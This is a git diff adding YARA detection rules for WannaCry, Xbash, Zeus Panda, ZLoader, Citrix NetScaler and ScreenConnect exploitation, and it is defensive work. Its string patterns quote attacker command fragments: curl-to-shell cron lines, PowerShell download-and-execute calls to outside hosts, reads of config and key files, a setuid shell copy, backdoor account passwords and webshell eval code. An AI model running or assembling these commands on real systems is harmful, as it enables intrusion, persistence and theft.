+      description = "Detects WannaCry Ransomware VBS"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/HG2j5T"
+      date = "2017-05-12"
+      hash1 = "51432d3196d9b78bdc9867a77d601caffd4adaa66dcac944a5ba0b3112bbea3b"
+      id = "a8f13bd2-984d-5c8c-ac53-7d442e222850"
+   strings:
+      $x1 = ".TargetPath = \"C:\\@" ascii
+      $x2 = ".CreateShortcut(\"C:\\@" ascii
+      $s3 = " = WScript.CreateObject(\"WScript.Shell\")" ascii
+   condition:
+      ( uint16(0) == 0x4553 and filesize < 1KB and all of them )
+}
+
+rule WannCry_BAT {
+   meta:
+      description = "Detects WannaCry Ransomware BATCH File"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/HG2j5T"
+      date = "2017-05-12"
+      hash1 = "f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077"
+      id = "0929f0de-28ac-5534-a6fd-7b131abda011"
+   strings:
+      $s1 = "@.exe\">> m.vbs" ascii
+      $s2 = "cscript.exe //nologo m.vbs" fullword ascii
+      $s3 = "echo SET ow = WScript.CreateObject(\"WScript.Shell\")> " ascii
+      $s4 = "echo om.Save>> m.vbs" fullword ascii
+   condition:
+      ( uint16(0) == 0x6540 and filesize < 1KB and 1 of them )
+}
+
+rule WannaCry_RansomNote {
+   meta:
+      description = "Detects WannaCry Ransomware Note"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/HG2j5T"
+      date = "2017-05-12"
+      hash1 = "4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e"
+      id = "65ce8faf-0981-5382-bc15-f094ccaa9f54"
+   strings:
+      $s1 = "A:  Don't worry about decryption." fullword ascii
+      $s2 = "Q:  What's wrong with my files?" fullword ascii
+   condition:
+      ( uint16(0) == 0x3a51 and filesize < 2KB and all of them )
+}
+
+/* Kaspersky Rule */
+
+rule APT_lazaruswannacry {
+   meta:
+      description = "Rule based on shared code between Feb 2017 Wannacry sample and Lazarus backdoor from Feb 2015 discovered by Neel Mehta"
+      date = "2017-05-15"
+      reference = "https://twitter.com/neelmehta/status/864164081116225536"
+      author = "Costin G. Raiu, Kaspersky Lab"
+      version = "1.0"
+      hash = "9c7c7149387a1c79679a87dd1ba755bc"
+      hash = "ac21c8ad899727137c4b94458d7aa8d8"
+      id = "e9dd9750-2366-503a-a879-972dbead6bf3"
+   strings:
+      $a1 = { 51 53 55 8B 6C 24 10 56 57 6A 20 8B 45 00 8D 75
+         04 24 01 0C 01 46 89 45 00 C6 46 FF 03 C6 06 01 46
+         56 E8 }
+      $a2 = { 03 00 04 00 05 00 06 00 08 00 09 00 0A 00 0D 00
+         10 00 11 00 12 00 13 00 14 00 15 00 16 00 2F 00
+         30 00 31 00 32 00 33 00 34 00 35 00 36 00 37 00
+         38 00 39 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00
+         44 00 45 00 46 00 62 00 63 00 64 00 66 00 67 00
+         68 00 69 00 6A 00 6B 00 84 00 87 00 88 00 96 00
+         FF 00 01 C0 02 C0 03 C0 04 C0 05 C0 06 C0 07 C0
+         08 C0 09 C0 0A C0 0B C0 0C C0 0D C0 0E C0 0F C0
+         10 C0 11 C0 12 C0 13 C0 14 C0 23 C0 24 C0 27 C0
+         2B C0 2C C0 FF FE }
+   condition:
+      uint16(0) == 0x5A4D and filesize < 15000000 and all of them
+}
diff --git a/yara-Neo23x0/crime_wsh_rat.yar b/yara-Neo23x0/crime_wsh_rat.yar
new file mode 100644
index 0000000..316994c
--- /dev/null
+++ b/yara-Neo23x0/crime_wsh_rat.yar
@@ -0,0 +1,17 @@
+rule MAL_WshRAT_Dotnet_Packer_Feb21 {
+    meta:
+        description = "Yara Rule for WSH rat .NET packer of February 2021 "
+        author = "Yoroi Malware ZLab"
+        date = "2021-03-09"
+        reference = "https://yoroi.company/research/threatening-within-budget-how-wsh-rat-is-abused-by-cyber-crooks/"
+        id = "62e043fc-7d13-5b91-9fdd-e71d91194da2"
+    strings:
+        $a1 = { BE DD 60 8C 34 49 9A 54 D2 40 }
+        $a2 = { 1D D7 24 22 47 A6 B1 A5 }
+        $a3 = { 13 30 03 00 07 00 00 00 01 } 
+        $a4 = { 11 02 03 7D 78 00 00 04 2A }
+        $a5 = { A8 8A F4 C8 61 2B CA 07 }
+        $a6 = { 15 AE 5E AB 5A 20 FE B5 56 B4 61 2B BB 06 2A}
+    condition:
+        uint16(0) == 0x5A4D and 3 of them
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/crime_xbash.yar b/yara-Neo23x0/crime_xbash.yar
new file mode 100644
index 0000000..225f7da
--- /dev/null
+++ b/yara-Neo23x0/crime_xbash.yar
@@ -0,0 +1,66 @@
+
+/*
+   YARA Rule Set
+   Author: Florian Roth
+   Date: 2018-09-18
+   Identifier: Xbash
+   License: https://creativecommons.org/licenses/by-nc/4.0/
+   Reference: https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule MAL_Xbash_PY_Sep18 {
+   meta:
+      description = "Detects Xbash malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/"
+      date = "2018-09-18"
+      hash1 = "7a18c7bdf0c504832c8552766dcfe0ba33dd5493daa3d9dbe9c985c1ce36e5aa"
+      id = "97512fe8-002f-5cbc-a915-d55c087fbef7"
+   strings:
+      $s1 = { 73 58 62 61 73 68 00 00 00 00 00 00 00 00 } /* sXbash\x00\x00\x00\x00\x00\x00 */
+   condition:
+      uint16(0) == 0x457f and filesize < 10000KB and 1 of them
+}
+
+rule MAL_Xbash_SH_Sep18 {
+   meta:
+      description = "Detects Xbash malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/"
+      date = "2018-09-18"
+      modified = "2023-01-06"
+      hash1 = "a27acc07844bb751ac33f5df569fd949d8b61dba26eb5447482d90243fc739af"
+      hash2 = "de63ce4a42f06a5903b9daa62b67fcfbdeca05beb574f966370a6ae7fd21190d"
+      id = "450ef15f-fe9c-5809-9077-457a43326bfe"
+   strings:
+      $s1 = "echo \"*/5 * * * * curl -fsSL" fullword ascii
+      $s2 = ".sh|sh\" > /var/spool/cron/root" ascii
+      $s3 = "#chmod +x /tmp/hawk" fullword ascii
+      $s4 = "if [ ! -f \"/tmp/root.sh\" ]" fullword ascii
+      $s5 = ".sh > /tmp/lower.sh" ascii
+      $s6 = "chmod 777 /tmp/root.sh" fullword ascii
+      $s7 = "-P /tmp && chmod +x /tmp/pools.txt" fullword ascii
+      $s8 = "-C /tmp/pools.txt>/dev/null 2>&1" ascii
+   condition:
+      uint16(0) == 0x2123 and filesize < 3KB and 1 of them
+}
+
+rule MAL_Xbash_JS_Sep18 {
+   meta:
+      description = "Detects XBash malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/"
+      date = "2018-09-18"
+      modified = "2023-01-06"
+      hash1 = "f888dda9ca1876eba12ffb55a7a993bd1f5a622a30045a675da4955ede3e4cb8"
+      id = "e891d146-f92d-5144-a1f2-ad308e309870"
+   strings:
+      $s1 = "var path=WSHShell" fullword ascii
+      $s2 = "var myObject= new ActiveXObject(" ascii
+      $s3 = "window.resizeTo(0,0)" fullword ascii
+      $s4 = "<script language=\"JScript\">" fullword ascii /* Goodware String - occured 4 times */
+   condition:
+      filesize < 5KB and 3 of them
+}
diff --git a/yara-Neo23x0/crime_zeus_panda.yar b/yara-Neo23x0/crime_zeus_panda.yar
new file mode 100644
index 0000000..0676a57
--- /dev/null
+++ b/yara-Neo23x0/crime_zeus_panda.yar
@@ -0,0 +1,33 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-08-04
+   Identifier: Zeus Panda
+   Reference: https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Zeus_Panda {
+   meta:
+      description = "Detects ZEUS Panda Malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf"
+      date = "2017-08-04"
+      hash1 = "bd956b2e81731874995b9b92e20f75dbf67ac5f12f9daa194525e1b673c7f83c"
+      id = "2786b1e0-37af-5595-a24b-56ef3cb928a7"
+   strings:
+      $x1 = "SER32.dll" fullword ascii
+      $x2 = "/c start \"\" \"%s\"" fullword wide
+      $x3 = "del /F \"%s\"" fullword ascii
+
+      $s1 = "bcdfghklmnpqrstvwxz" fullword ascii
+      $s2 = "=> -,0;" fullword ascii
+      $s3 = "Yahoo! Slurp" fullword ascii
+      $s4 = "ZTNHGET ^&" fullword ascii
+      $s5 = "MSIE 9" fullword ascii
+      $s6 = "%s%08x.%s" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 400KB and ( 2 of ($x*) or 4 of them )
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/crime_zloader_maldocs.yar b/yara-Neo23x0/crime_zloader_maldocs.yar
new file mode 100644
index 0000000..df0ce58
--- /dev/null
+++ b/yara-Neo23x0/crime_zloader_maldocs.yar
@@ -0,0 +1,22 @@
+
+rule MAL_DOC_ZLoader_Oct20_1 {
+   meta:
+      description = "Detects weaponized ZLoader documents"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/JohnLaTwC/status/1314602421977452544"
+      date = "2020-10-10"
+      hash1 = "668ca7ede54664360b0a44d5e19e76beb92c19659a8dec0e7085d05528df42b5"
+      hash2 = "a2ffabbb1b5a124f462a51fee41221081345ec084d768ffe1b1ef72d555eb0a0"
+      hash3 = "d268af19db475893a3d19f76be30bb063ab2ca188d1b5a70e51d260105b201da"
+      id = "34145746-9733-5dd9-9dcf-99e3a3ceee4f"
+   strings:
+      $sc1 = { 78 4E FC 04 AB 6B 17 E2 33 E3 49 62 50 69 BB 60
+               31 00 1E 00 02 4B BA E2 D8 E3 92 22 1E 69 96 20
+               98 }
+      $sc2 = { 6B 9E E2 36 E3 69 62 72 69 3A 60 55 6E }
+      $sc3 = { 3E 69 76 60 59 6E 34 FB 87 6B 75 }
+   condition:
+      uint16(0) == 0xcfd0 and
+      filesize < 40KB and filesize > 30KB and
+      all of them
+}
diff --git a/yara-Neo23x0/expl_adselfservice_cve_2021_40539.yar b/yara-Neo23x0/expl_adselfservice_cve_2021_40539.yar
new file mode 100644
index 0000000..f5c7cda
--- /dev/null
+++ b/yara-Neo23x0/expl_adselfservice_cve_2021_40539.yar
@@ -0,0 +1,29 @@
+
+rule LOG_EXPL_ADSelfService_CVE_2021_40539_ADSLOG_Sep21 : LOG {
+   meta:
+      description = "Detects suspicious log lines produeced during the exploitation of ADSelfService vulnerability CVE-2021-40539"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://us-cert.cisa.gov/ncas/alerts/aa21-259a"
+      date = "2021-09-20"
+      score = 70
+      id = "156317c6-e726-506d-8b07-4f74dae2807f"
+   strings:
+      $x1 = "Java traceback errors that include references to NullPointerException in addSmartCardConfig or getSmartCardConfig" ascii wide
+   condition:
+      filesize < 50MB and 1 of them
+}
+
+rule LOG_EXPL_ADSelfService_CVE_2021_40539_WebLog_Sep21_1 : LOG {
+   meta:
+      description = "Detects suspicious log lines produeced during the exploitation of ADSelfService vulnerability CVE-2021-40539"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://us-cert.cisa.gov/ncas/alerts/aa21-259a"
+      date = "2021-09-20"
+      score = 60
+      id = "015957a6-8778-5836-af94-6e6d3838f693"
+   strings:
+      $x1 = "/ServletApi/../RestApi/LogonCustomization" ascii wide
+      $x2 = "/ServletApi/../RestAPI/Connection" ascii wide
+   condition:
+      filesize < 50MB and 1 of them
+}
diff --git a/yara-Neo23x0/expl_citrix_netscaler_adc_exploitation_cve_2023_3519.yar b/yara-Neo23x0/expl_citrix_netscaler_adc_exploitation_cve_2023_3519.yar
new file mode 100644
index 0000000..1154331
--- /dev/null
+++ b/yara-Neo23x0/expl_citrix_netscaler_adc_exploitation_cve_2023_3519.yar
@@ -0,0 +1,102 @@
+
+rule EXPL_Citrix_Netscaler_ADC_ForensicArtifacts_CVE_2023_3519_Jul23 {
+   meta:
+      description = "Detects forensic artifacts found after an exploitation of Citrix NetScaler ADC CVE-2023-3519"
+      author = "Florian Roth"
+      reference = "https://www.cisa.gov/sites/default/files/2023-07/aa23-201a_csa_threat_actors_exploiting_citrix-cve-2023-3519_to_implant_webshells.pdf"
+      date = "2023-07-18"
+      modified = "2023-07-21"
+      score = 70
+      id = "07d725cc-2cf2-55e5-8609-486500547f13"
+   strings:
+      $sa1 = "216.41.162.172" ascii fullword
+
+      $sb1 = "/flash/nsconfig/keys" ascii
+      $sb2 = "ldapsearch" ascii fullword
+      $sb3 = "ns_gui/vpn" ascii
+      $sb4 = "LDAPTLS_REQCERT" ascii fullword
+   condition:
+      filesize < 10MB and $sa1
+      or (
+         filepath == "/var/log"
+         and filename matches /^(bash|sh)\.log/
+         and 1 of ($sb*)
+      )
+}
+
+rule EXPL_Citrix_Netscaler_ADC_ForensicArtifacts_CVE_2023_3519_Jul23_2 {
+   meta:
+      description = "Detects forensic artifacts found after an exploitation of Citrix NetScaler ADC CVE-2023-3519"
+      author = "Florian Roth"
+      reference = "https://www.cisa.gov/sites/default/files/2023-07/aa23-201a_csa_threat_actors_exploiting_citrix-cve-2023-3519_to_implant_webshells.pdf"
+      date = "2023-07-21"
+      score = 70
+      id = "471ce547-0133-5836-b9d1-02c932ecfd1e"
+   strings:
+      $s1 = "tar -czvf - /var/tmp/all.txt" ascii fullword
+      $s2 = "-out /var/tmp/test.tar.gz" ascii
+      $s3 = "/test.tar.gz /netscaler/"
+   condition:
+      filesize < 10MB and 1 of them
+}
+
+rule EXPL_Citrix_Netscaler_ADC_ForensicArtifacts_CVE_2023_3519_Jul23_3 {
+   meta:
+      description = "Detects forensic artifacts found after an exploitation of Citrix NetScaler ADC CVE-2023-3519"
+      author = "Florian Roth"
+      reference = "https://www.mandiant.com/resources/blog/citrix-zero-day-espionage"
+      date = "2023-07-24"
+      score = 70
+      id = "2f40b423-f1da-5711-ac4f-18de77cd52d0"
+   strings:
+      $x1 = "cat /flash/nsconfig/ns.conf >>" ascii
+      $x2 = "cat /nsconfig/.F1.key >>" ascii
+      $x3 = "openssl base64 -d < /tmp/" ascii
+      $x4 = "cp /usr/bin/bash /var/tmp/bash" ascii
+      $x5 = "chmod 4775 /var/tmp/bash"
+      $x6 = "pwd;pwd;pwd;pwd;pwd;"
+      $x7 = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"
+   condition:
+      filesize < 10MB and 1 of them
+}
+
+rule LOG_EXPL_Citrix_Netscaler_ADC_Exploitation_Attempt_CVE_2023_3519_Jul23_1 {
+   meta:
+      description = "This YARA rule detects forensic artifacts that appear following an attempted exploitation of Citrix NetScaler ADC CVE-2023-3519. The rule identifies an attempt to access the vulnerable function using an overly long URL, a potential sign of attempted exploitation. However, it does not confirm whether such an attempt was successful."
+      author = "Florian Roth"
+      reference = "https://blog.assetnote.io/2023/07/24/citrix-rce-part-2-cve-2023-3519/"
+      date = "2023-07-27"
+      score = 65
+      id = "7dfe4130-d976-5d6d-a05d-ccadefe45406"
+   strings:
+      /* overly long URL - all URLLEN values >= 200 */
+      $sr1 = /GWTEST FORMS SSO: Parse=0; URLLEN=([2-9][0-9]{2}|[0-9]{4,20}); Event: start=0x/
+      $s1 = ", type=1; Target: start=0x"
+   condition:
+      all of them
+}
+
+rule WEBSHELL_SECRETSAUCE_Jul23_1 {
+   meta:
+      description = "Detects SECRETSAUCE PHP webshells (found after an exploitation of Citrix NetScaler ADC CVE-2023-3519)"
+      author = "Florian Roth"
+      reference = "https://www.mandiant.com/resources/blog/citrix-zero-day-espionage"
+      date = "2023-07-24"
+      score = 85
+      id = "db0542e7-648e-5f60-9838-e07498f58b51"
+   strings:
+      $sa1 = "for ($x=0; $x<=1; $x++) {" ascii
+      $sa2 = "$_REQUEST[" ascii
+      $sa3 = "@eval" ascii
+
+      $sb1 = "public $cmd;" ascii
+      $sb2 = "return @eval($a);" ascii
+      $sb3 = "$z->run($z->get('openssl_public_decrypt'));"
+   condition:
+      filesize < 100KB and (
+         all of ($sa*) or
+         2 of ($sb*)
+      )
+}
+
+
diff --git a/yara-Neo23x0/expl_connectwise_screenconnect_vuln_feb24.yar b/yara-Neo23x0/expl_connectwise_screenconnect_vuln_feb24.yar
new file mode 100644
index 0000000..3b69fe4
--- /dev/null
+++ b/yara-Neo23x0/expl_connectwise_screenconnect_vuln_feb24.yar
@@ -0,0 +1,328 @@
+import "pe"
+
+rule ConnectWise_ScreenConnect_Authentication_Bypass_Feb_2024_Exploitation_IIS_Logs {
+   meta:
+      description = "Detects an http request to '/SetupWizard.aspx/' with anything following it, which when found in IIS logs is a potential indicator of compromise of the 2024 ConnectWise ScreenConnect (versions prior to 23.9.8) vulnerability that allows an Authentication Bypass"
+      author = "Huntress DE&TH Team (modified by Florian Roth)"
+      reference = "https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8"
+      date = "2024-02-20"
+      modified = "2024-02-21"
+      id = "2886530b-e164-4c4b-b01e-950e3c40acb4"
+   strings:
+      $s1 = " GET /SetupWizard.aspx/" ascii
+      $s2 = " POST /SetupWizard.aspx/" ascii
+      $s3 = " PUT /SetupWizard.aspx/" ascii
+      $s4 = " HEAD /SetupWizard.aspx/" ascii
+   condition:
+      1 of them
+}
+
+rule SUSP_ScreenConnect_User_PoC_Com_Unused_Feb24 {
+   meta:
+      description = "Detects suspicious ScreenConnect user with poc.com email address, which is a sign of exploitation of the ConnectWise ScreenConnect (versions prior to 23.9.8) vulnerability with the POC released by WatchTower and the account wasn't actually used yet to login"
+      author = "Florian Roth"
+      reference = "https://github.com/watchtowrlabs/connectwise-screenconnect_auth-bypass-add-user-poc/blob/45e5b2f699a4d8f2d59ec3fc79a2e3c99db71882/watchtowr-vs-ConnectWise_2024-02-21.py#L53"
+      date = "2024-02-23"
+      score = 65
+      id = "c57e6c6a-298f-5ff3-b76a-03127ff88699"
+   strings:
+      $a1 = "<Users xmlns:xsi="
+      $a2 = "<CreationDate>"
+
+      $s1 = "@poc.com</Email>"
+      $s2 = "<LastLoginDate>0001"
+   condition:
+      filesize < 200KB
+      and all of ($a*)
+      and all of ($s*)
+}
+
+rule SUSP_ScreenConnect_User_PoC_Com_Used_Feb24 {
+   meta:
+      description = "Detects suspicious ScreenConnect user with poc.com email address, which is a sign of exploitation of the ConnectWise ScreenConnect (versions prior to 23.9.8) vulnerability with the POC released by WatchTower and the account was already used yet to login"
+      author = "Florian Roth"
+      reference = "https://github.com/watchtowrlabs/connectwise-screenconnect_auth-bypass-add-user-poc/blob/45e5b2f699a4d8f2d59ec3fc79a2e3c99db71882/watchtowr-vs-ConnectWise_2024-02-21.py#L53"
+      date = "2024-02-23"
+      score = 75
+      id = "91990558-f145-5968-9722-b6815f6ad8d5"
+   strings:
+      $a1 = "<Users xmlns:xsi="
+      $a2 = "<CreationDate>"
+
+      $s1 = "@poc.com</Email>"
+
+      $f1 = "<LastLoginDate>0001"
+   condition:
+      filesize < 200KB
+      and all of ($a*)
+      and $s1
+      and not 1 of ($f*)
+}
+
+rule SUSP_ScreenConnect_Exploitation_Artefacts_Feb24 : SCRIPT {
+   meta:
+      description = "Detects post exploitation indicators observed by HuntressLabs in relation to the ConnectWise ScreenConnect (versions prior to 23.9.8) vulnerability that allows an Authentication Bypass"
+      author = "Florian Roth"
+      reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
+      date = "2024-02-23"
+      score = 75
+      id = "079f4153-8bc7-574f-b6fa-af5536b842ab"
+   strings:
+      $x01 = "-c foreach ($disk in Get-WmiObject Win32_Logicaldisk){Add-MpPreference -ExclusionPath $disk.deviceid}"
+      $x02 = ".msi c:\\mpyutd.msi"
+      $x03 = "/MyUserName_$env:UserName"
+      $x04 = " -OutFile C:\\Windows\\Help\\"
+      $x05 = "/Create /TN \\\\Microsoft\\\\Windows\\\\Wininet\\\\UserCache_"
+      $x06 = "$e = $r + \"ssh.exe\""
+      $x07 = "Start-Process -f $e -a $args -PassThru -WindowStyle Hidden).Id"
+      $x08 = "-R 9595:localhost:3389 -p 443 -N -oStrictHostKeyChecking=no "
+      $x09 = "chromeremotedesktophost.msi', $env:ProgramData+"
+      $x10 = "9595; iwr -UseBasicParsing "
+      $x11 = "curl  https://cmctt.]com/pub/media/wysiwyg/"
+      $x12 = ":8080/servicetest2.dll"
+      $x13 = "/msappdata.msi c:\\mpyutd.msi"
+      $x14 = "/svchost.exe -OutFile "
+      $x15 = "curl http://minish.wiki.gd"
+      $x16 = " -Headers @{'ngrok-skip-browser-warning'='true'} -OutFile "
+      $x17 = "rundll32.exe' -Headers @"
+      $x18 = "/nssm.exe' -Headers @"
+      $x19 = "c:\\programdata\\update.dat UpdateSystem"
+      $x20 = "::size -eq 4){\\\"TVqQAA" ascii wide
+      $x21 = "::size -eq 4){\"TVqQAA" ascii wide
+      $x22 = "-nop -c [System.Reflection.Assembly]::Load(([WmiClass]'root\\cimv2:System_"
+
+      /* Persistence */
+      $xp0 = "/add default test@2021! /domain"
+      $xp1 = "/add default1 test@2021! /domain"
+      $xp2 = "oldadmin Pass8080!!"
+      $xp3 = "temp 123123qwE /add "
+      $xp4 = "oldadmin \"Pass8080!!\""
+      $xp5 = "nssm set xmrig AppDirectory "
+   condition:
+      1 of ($x*)
+}
+
+rule SUSP_Command_Line_Combos_Feb24_2 : SCRIPT {
+   meta:
+      description = "Detects suspicious command line combinations often found in post exploitation activities"
+      author = "Florian Roth"
+      reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
+      date = "2024-02-23"
+      score = 75
+      id = "d9bc6083-c3ca-5639-a9df-483fea6d0187"
+   strings:
+      $sa1 = " | iex"
+      $sa2 = "iwr -UseBasicParsing "
+   condition:
+      filesize < 2MB and all of them
+}
+
+rule SUSP_PS1_Combo_TransferSH_Feb24 : SCRIPT {
+   meta:
+      description = "Detects suspicious PowerShell command that downloads content from transfer.sh as often found in loaders"
+      author = "Florian Roth"
+      reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
+      date = "2024-02-23"
+      score = 70
+      id = "fd14cca5-9cf8-540b-9d6e-39ca2c267272"
+   strings:
+      $x1 = ".DownloadString('https://transfer.sh"
+      $x2 = ".DownloadString(\"https://transfer.sh"
+      $x3 = "Invoke-WebRequest -Uri 'https://transfer.sh"
+      $x4 = "Invoke-WebRequest -Uri \"https://transfer.sh"
+   condition:
+      1 of them
+}
+
+rule MAL_SUSP_RANSOM_LockBit_RansomNote_Feb24 {
+   meta:
+      description = "Detects the LockBit ransom note file 'LockBit-DECRYPT.txt' which is a sign of a LockBit ransomware infection"
+      author = "Florian Roth"
+      reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
+      date = "2024-02-23"
+      score = 75
+      id = "b2fcb2a7-49e8-520c-944f-6acd5ded579b"
+   strings:
+      $x1 = ">>>> Your personal DECRYPTION ID:"
+   condition:
+      1 of them
+}
+
+rule MAL_SUSP_RANSOM_Lazy_RansomNote_Feb24 {
+   meta:
+      description = "Detects the Lazy ransom note file 'HowToRestoreYourFiles.txt' which is a sign of a Lazy ransomware infection"
+      author = "Florian Roth"
+      reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
+      date = "2024-02-23"
+      score = 75
+      id = "287dfd67-8d0d-5906-b593-3af42a5a3aa4"
+   strings:
+      $x1 = "All Encrypted files can be reversed to original form and become usable"
+   condition:
+      1 of them
+}
+
+
+rule SUSP_MAL_SigningCert_Feb24_1 {
+   meta:
+      description = "Detects PE files signed with a certificate used to sign malware samples mentioned in a HuntressLabs report on the exploitation of ScreenConnect vulnerability CVE-2024-1708 and CVE-2024-1709"
+      author = "Florian Roth"
+      reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
+      date = "2024-02-23"
+      score = 75
+      hash1 = "37a39fc1feb4b14354c4d4b279ba77ba51e0d413f88e6ab991aad5dd6a9c231b"
+      hash2 = "e8c48250cf7293c95d9af1fb830bb8a5aaf9cfb192d8697d2da729867935c793"
+      id = "f25ea77a-1b4e-5c13-9117-eedf0c20335a"
+   strings:
+      $s1 = "Wisdom Promise Security Technology Co." ascii
+      $s2 = "Globalsign TSA for CodeSign1" ascii
+      $s3 = { 5D AC 0B 6C 02 5A 4B 21 89 4B A3 C2 }
+   condition:
+      uint16(0) == 0x5a4d
+      and filesize < 70000KB
+      and all of them
+}
+
+rule MAL_CS_Loader_Feb24_1 {
+   meta:
+      description = "Detects Cobalt Strike malware samples mentioned in a HuntressLabs report on the exploitation of ScreenConnect vulnerability CVE-2024-1708 and CVE-2024-1709"
+      author = "Florian Roth"
+      reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
+      date = "2024-02-23"
+      score = 75
+      hash1 = "0a492d89ea2c05b1724a58dd05b7c4751e1ffdd2eab3a2f6a7ebe65bf3fdd6fe"
+      id = "6c9914a4-b079-5a39-9d3b-7b9a2b54dc2b"
+   strings:
+      $s1 = "Dll_x86.dll" ascii fullword
+   condition:
+      uint16(0) == 0x5a4d
+      and filesize < 1000KB
+      and (
+         pe.exports("UpdateSystem") and (
+            pe.imphash() == "0dc05c4c21a86d29f1c3bf9cc5b712e0"
+            or $s1
+         )
+      )
+}
+
+rule MAL_RANSOM_LockBit_Indicators_Feb24 {
+   meta:
+      description = "Detects Lockbit ransomware samples mentioned in a HuntressLabs report on the exploitation of ScreenConnect vulnerability CVE-2024-1708 and CVE-2024-1709"
+      author = "Florian Roth"
+      reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
+      date = "2024-02-23"
+      score = 75
+      hash1 = "a50d9954c0a50e5804065a8165b18571048160200249766bfa2f75d03c8cb6d0"
+      id = "108430c8-4fe5-58a1-b709-539b257c120c"
+   strings:
+      $op1 = { 76 c1 95 8b 18 00 93 56 bf 2b 88 71 4c 34 af b1 a5 e9 77 46 c3 13 }
+      $op2 = { e0 02 10 f7 ac 75 0e 18 1b c2 c1 98 ac 46 }
+      $op3 = { 8b c6 ab 53 ff 15 e4 57 42 00 ff 45 fc eb 92 ff 75 f8 ff 15 f4 57 42 00 }
+   condition:
+      uint16(0) == 0x5a4d
+      and filesize < 500KB
+      and (
+         pe.imphash() == "914685b69f2ac2ff61b6b0f1883a054d"
+         or 2 of them
+      ) or all of them
+}
+
+rule MAL_MSI_Mpyutils_Feb24_1 {
+   meta:
+      description = "Detects malicious MSI package mentioned in a HuntressLabs report on the exploitation of ScreenConnect vulnerability CVE-2024-1708 and CVE-2024-1709"
+      author = "Florian Roth"
+      reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
+      date = "2024-02-23"
+      score = 70
+      hash1 = "8e51de4774d27ad31a83d5df060ba008148665ab9caf6bc889a5e3fba4d7e600"
+      id = "e7794336-a325-5b92-8c25-81ed9cb28044"
+   strings:
+      $s1 = "crypt64ult.exe" ascii fullword
+      $s2 = "EXPAND.EXE" wide fullword
+      $s6 = "ICACLS.EXE" wide fullword
+   condition:
+      uint16(0) == 0xcfd0
+      and filesize < 20000KB
+      and all of them
+}
+
+rule MAL_Beacon_Unknown_Feb24_1 {
+   meta:
+      description = "Detects malware samples mentioned in a HuntressLabs report on the exploitation of ScreenConnect vulnerability CVE-2024-1708 and CVE-2024-1709 "
+      author = "Florian Roth"
+      reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
+      date = "2024-02-23"
+      score = 75
+      hash1 = "6e8f83c88a66116e1a7eb10549542890d1910aee0000e3e70f6307aae21f9090"
+      hash2 = "b0adf3d58fa354dbaac6a2047b6e30bc07a5460f71db5f5975ba7b96de986243"
+      hash3 = "c0f7970bed203a5f8b2eca8929b4e80ba5c3276206da38c4e0a4445f648f3cec"
+      id = "9299fd44-5327-5a73-8299-108b710cb16e"
+   strings:
+      $s1 = "Driver.dll" wide fullword
+      $s2 = "X l.dlT" ascii fullword
+      $s3 = "$928c7481-dd27-8e23-f829-4819aefc728c" ascii fullword
+   condition:
+      uint16(0) == 0x5a4d
+      and filesize < 2000KB
+      and 3 of ($s*)
+}
+
+/* --------------------------------------------------------------------------------- */
